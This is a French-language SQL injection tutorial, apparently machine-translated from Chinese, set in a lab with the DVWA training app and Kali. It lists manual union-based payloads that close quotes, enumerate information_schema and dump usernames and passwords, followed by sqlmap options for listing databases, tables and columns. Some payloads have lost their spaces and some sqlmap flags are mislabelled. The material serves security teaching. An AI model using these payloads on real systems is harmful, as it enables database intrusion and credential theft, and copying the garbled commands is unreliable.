Sécurité du serveur d'applications Web (vulnérabilité de téléchargement de fichiers, vulnérabilité d'inclusion de fichiers)
Sécurité du client Web (attaque cross-site XSS)
2.injection SQL
2.1 Introduction à l'injection SQL
L'injection SQL en tête de liste des problèmes de sécurité
L'attaque par injection SQL consiste dans le fait que les paramètres d'entrée ne sont pas filtrés puis directement intégrés dans l'instruction SQL pour analyse.
L'injection SQL est une technique d'attaque qui ajoute du code SQL aux paramètres d'entrée et le transmet au serveur pour analyse et exécution.
2.2 Principe d'injection SQL
L'attaquant soumet des caractères malveillants sur la page
Le serveur ne filtre pas les paramètres soumis ou le filtrage est insuffisant.
Les attaquants utilisent des instructions SQL de épissage pour obtenir des informations sensibles de la base de données
2.3 Dangers de l'injection SQL
Fuite de base de données
Les données des utilisateurs ont été achetées et vendues illégalement
Compromettre la sécurité des applications Web
2.4 Méthode d'implémentation de l'injection SQL
Manuel
Rechercher : point d'injection
Entrée : syntaxe de combinaison d'injection commune SQL pour l'injection
automatique (outil)
Outil : Rechercher des points d'injection
Entrée : essayez automatiquement diverses combinaisons de syntaxe
3.Configuration de l'environnement
3.1 Machine virtuelle VMware
3.1.1 Fonction
Logiciel de machine virtuelle, vous pouvez utiliser un logiciel pour installer plusieurs systèmes d'exploitation virtuels (Linux, Windows) sur des machines physiques
3.2 Drone cible (apprendre à utiliser l'environnement du projet)
effet
Un système de machine virtuelle Linux Certaines applications Web présentant des vulnérabilités connues sont installées dans cette machine virtuelle pour faciliter l'apprentissage.
3.3 Machine de pénétration (apprendre à attaquer l'environnement d'injection SQL)
effet:
Kali contient des centaines d'outils qui peuvent être utilisés pour diverses tâches de sécurité de l'information telles que les tests d'intrusion, la recherche sur la sécurité.
4. Injection manuelle
4.1 Préparation de l'environnement
Description : Pratiquez l'injection manuelle via l'application Web du drone étape:
Démarrer le drone cible OWASP
Accédez au drone via un navigateur
Visitez le projet OWASP-dvwa
Se connecter
Sélectionnez l'application d'injection SQL
4.2 Trouver le point d'injection
Remarque : utilisez principalement des guillemets simples et des caractères d'échappement, principalement des guillemets simples. principe:
#后台程序sql语句select first_name,last_name from users where user_id ='$id';#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了select first_name,last_name fro users where user_id =''';
1
2
3
4
4.3 OU logique
4.4 Devinez le nombre de colonnes
par syndicat
' unionselect1,2#
1
2. Par OU logique
'or1=1#
1
4.5 Obtenir des bases de données, des tables et des colonnes
Obtenir le nom de la base de données
' unionselect1,database()#
1
Obtenir le tableau
' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
1
Obtenir des colonnes
' union select column_name,1 from information_schema.columns where table_name='users' #
1
4.6 Obtenir des données
//1. 获取单个字段数据' union select user,1 from users#
//2. 获取两个字段
'unionselectuser,password from users#
1
2
3
4
5
4.7 Fonction de concaténation
Fonction : Épisser plusieurs chaînes en une seule chaîne Syntaxe : concat(str1,str2,…) Exemple:
Obtenez user_id, user, password de la table users et affichez-les dans deux colonnes
' union select user,concat(first_name,'',last_name,' ',password)from users#
1
5. Injection automatique
5.1 Introduction à l'injection automatique
Remarque : L'injection automatique fait référence à l'utilisation d'outils au lieu d'un travail manuel pour effectuer les opérations d'injection SQL. Outil : sqlmap
5.2 Injecter automatiquement l'environnement
Démarrez le drone
Démarrer la machine à pénétration
5.3 sqlmap
Outil : sqlmap
Un outil de test d'intrusion open source
Détectez et exploitez automatiquement les vulnérabilités d’injection SQL et prenez le contrôle des serveurs de bases de données
5.3.1 Utilisation de base de sqlmap
paramètre
-u : analyser l'URL cible
–batch : traiter automatiquement les informations d'invite
–cookie : paramètres de cookies supplémentaires
étape
Point d'injection de numérisation
Obtenir le nom de la base de données
Obtenir le nom de la table
Obtenir le nom du champ
récupérer des données
Puisque nous devons nous connecter, nous obtenons d'abord le cookie de la page connectée Commencez ensuite à scanner le point d'injection Injection réussie
5.3.2 sqlmap obtient le nom de la bibliothèque
– current-db : interroge le nom de la base de données utilisé par le site Web actuel -D : appliquer la base de données spécifiée résultat de l'opération :
5.3.3 sqlmap obtient une table
– current-db : interrogez tous les noms de tables sous la bibliothèque spécifiée (vous devez d'abord utiliser -D pour spécifier le nom de la bibliothèque) -T : Spécifiez le tableau
résultat de l'opération :
5.3.4 sqlmap récupère les colonnes
– colonnes : interrogez tous les champs de la table spécifiée (vous devez d'abord utiliser -T pour spécifier le nom de la table) -C : Spécifiez le nom du champ